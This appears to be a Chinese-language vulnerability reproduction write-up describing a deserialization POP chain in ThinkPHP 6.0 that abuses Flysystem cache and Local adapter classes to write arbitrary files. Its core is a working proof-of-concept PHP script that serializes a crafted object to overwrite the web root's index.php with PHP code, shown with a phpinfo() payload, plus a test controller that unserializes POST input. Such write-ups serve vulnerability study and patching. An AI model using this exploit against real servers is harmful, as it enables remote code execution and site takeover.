Thinkphp 6.0 任意文件写入pop链¶
一、漏洞简介¶
需要知晓绝对路径
二、漏洞影响¶
Thinkphp 6.0
三、复现过程¶
环境搭建¶
ThinkPHP6.0.2
PHP7.2
<?php namespace app\controller; use app\BaseController; class Index extends BaseController public function test(){ echo base64_decode($_POST['payload']); $payload = unserialize(base64_decode($_POST['payload'])); } }
漏洞分析¶
POP链:
League\Flysystem\Cached\Storage\AbstractCache --> destruct() League\Flysystem\Cached\Storage\Adapter --> save() League\Flysystem\Adapter\Local --> write() vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php
因AbstractCache类为抽象类,需找到其实现子类,且要有save()方法
成功找到:vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php
$contents决定文件写入内容,显然可向$this->complete或$this->expire写入具体内容即可
接下来需找到具有write()方法的类,vendor/league/flysystem/src/Adapter/Local.php
中Local类符合条件
但ensureDirectory()
对利用造成了影响,将对目录进行检测,因而造成必须使用绝对路径
漏洞复现¶
根据分析写出poc
该利用链较为鸡肋,要求必须知晓写入文件的绝对路径
<?php namespace League\Flysystem\Cached\Storage;#AbstractCache Adapter use League\Flysystem\Adapter\Local; abstract class AbstractCache{ protected $autosave = true; protected $cache = []; protected $complete = []; function __construct(){ $this->autosave = false; $this->cache = ['test']; $this->complete = ["axin"=>"<?php phpinfo();?>"]; } } class Adapter extends AbstractCache{ protected $adapter; protected $file; protected $expire = null; function __construct(){ parent::__construct(); $this->adapter = new Local(); $this->file = "var/www/html/index.php"; #$this->file = "://WampServer/www/tp/tp6.0.1/public/index.php"; #winsows下目录 $this->expire = 123; } } namespace League\Flysystem\Adapter; abstract class AbstractAdapter{ protected $pathPrefix; function __construct(){ $this->pathPrefix = "/"; #$this->pathPrefix = "D"; #windows下目录 } } class Local extends AbstractAdapter{ } use League\Flysystem\Cached\Storage\Adapter; echo base64_encode(serialize(new Adapter()));
效果演示:自己构造一个反序列化输入点,发送请求(页面的输出是我自己方便调试打印的)
文件成功写入: